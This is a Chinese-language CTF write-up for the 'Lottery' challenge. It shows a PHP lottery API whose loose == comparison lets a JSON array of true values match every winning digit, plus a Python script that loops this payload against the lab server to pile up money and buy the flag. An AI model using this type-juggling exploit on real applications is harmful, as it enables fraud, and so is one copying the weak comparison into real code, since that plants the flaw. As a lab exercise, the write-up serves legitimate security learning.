[CTF]攻防世界:Lottery

Lottery

进入页面看一下,似乎是个注册买彩票类型的网站,简单看一下逻辑。

1、看到flag需要购买

2、初始账户只有20元。

3、输入7位数字,一次消耗2元。

4、打开附件参考api.php代码

bash 复制代码
<?php
require_once('config.php');
header('Content-Type: application/json');

function response($resp){
	die(json_encode($resp));
}

function response_error($msg){
	$result = ['status'=>'error'];
	$result['msg'] = $msg;
	response($result);
}

function require_keys($req, $keys){
	foreach ($keys as $key) {
		if(!array_key_exists($key, $req)){
			response_error('invalid request');
		}
	}
}

function require_registered(){
	if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
		response_error('register first');
	}
}

function require_min_money($min_money){
	if(!isset($_SESSION['money'])){
		response_error('register first');
	}
	$money = $_SESSION['money'];
	if($money < 0){
		$_SESSION = array();
		session_destroy();
		response_error('invalid negative money');
	}
	if($money < $min_money){
		response_error('you don\' have enough money');
	}
}


if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
	response_error('please post json data');
}

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE){
	response_error('invalid json');
}

require_keys($data, ['action']);

// my boss told me to use cryptographically secure algorithm 
function random_num(){
	do {
		$byte = openssl_random_pseudo_bytes(10, $cstrong);
		$num = ord($byte);
	} while ($num >= 250);

	if(!$cstrong){
		response_error('server need be checked, tell admin');
	}
	
	$num /= 25;
	return strval(floor($num));
}

function random_win_nums(){
	$result = '';
	for($i=0; $i<7; $i++){
		$result .= random_num();
	}
	return $result;
}


function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

function flag($req){
	global $flag;
	global $flag_price;

	require_registered();
	$money = $_SESSION['money'];
	if($money < $flag_price){
		response_error('you don\' have enough money');
	} else {
		$money -= $flag_price;
		$_SESSION['money'] = $money;
		$msg = 'Here is your flag: ' . $flag;
		response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
	}
}

function register($req){
	$name = $req['name'];
	$_SESSION['name'] = $name;
	$_SESSION['money'] = 20;

	response(['status'=>'ok']);
}


switch ($data['action']) {
	case 'buy':
		require_keys($data, ['numbers']);
		buy($data);
		break;

	case 'flag':
		flag($data);
		break;

	case 'register':
		require_keys($data, ['name']);
		register($data);
		break;
	
	default:
		response_error('invalid request');
		break;
}

5、发现关键点,中奖对比用的弱比较,那是不是可以通过提交中奖数字为 True 与 右边数字比较则永远为真。

在php中,如果bool和"任何其他类型"比较,"任何其他类型"会转换为bool。

在PHP中当转换为 boolean 时,以下值被认为是 FALSE :

(1) 布尔值 FALSE 本身

(2) 整型值 0(零)

(3)浮点型值 0.0(零)

(4)空字符串,以及字符串 "0"

(5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true)

(6)不包括任何成员变量的对象(仅 PHP 4.0 适用)

(7)特殊类型 NULL(包括尚未赋值的变量)

(8)从空标记生成的 SimpleXML 对象

(9)所有其它值包括-1都被认为是 TRUE (包括任何资源)

6、提交发现确实轻松拿到大奖

7、写个简单脚本,自动刷钱购买flag

bash 复制代码
# 使用Python自动刷钱
import random
import time

import requests, json

url = "http://61.147.171.105:53646/api.php"
headers = {"Content-Type": "application/json"}



# 使用Session保持会话
s = requests.Session()

# 注册
s.post(url, json={"action": "register", "name": "hacker"})
print("注册 hacker")

while True:
    js = {
        "action": "buy",
        "numbers": [True,True,True,True,True,True,True]  # 关键Payload
    }
    print(js)
    r = s.post(url, json=js)
    time.sleep(0.1)
    data = r.json()
    if data['money'] < 2:
        break
    print(f"Money: {data['money']}, Prize: {data.get('prize', 0)}")

    if data['money'] >= 9990000:
        break

result = s.post(url, json={"action": "flag"})
print(result.text)
相关推荐
galaxylove1 小时前
Gartner发布CISO人工智能安全指南:将AI安全治理融入所有网络安全治理体系
人工智能·安全·web安全
414a3 小时前
LingJing(灵境):Linux Amd64局域网设备访问靶机教程
linux·安全·web安全·网络安全·lingjing·灵境
独行soc13 小时前
2025年渗透测试面试题总结-264(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
YangYang9YangYan15 小时前
网络安全专业职业能力认证发展路径指南
大数据·人工智能·安全·web安全
Yawesh_best15 小时前
告别系统壁垒!WSL+cpolar 让跨平台开发效率翻倍
运维·服务器·数据库·笔记·web安全
oh-pinpin1 天前
安全配置类
安全·web安全
白帽子黑客罗哥1 天前
2025漏洞挖掘学习全流程
web安全·黑客·漏洞挖掘·就业·网络安全学习路径·零基础小白
wanhengidc2 天前
云手机中的数据通常存储在哪里?
运维·服务器·安全·web安全·智能手机
白帽黑客-晨哥2 天前
最适合零基础的渗透测试学习路径:理论+实战+就业,我在湖南网安基地实现了
学习·web安全·渗透测试·实战项目·就业·湖南网安基地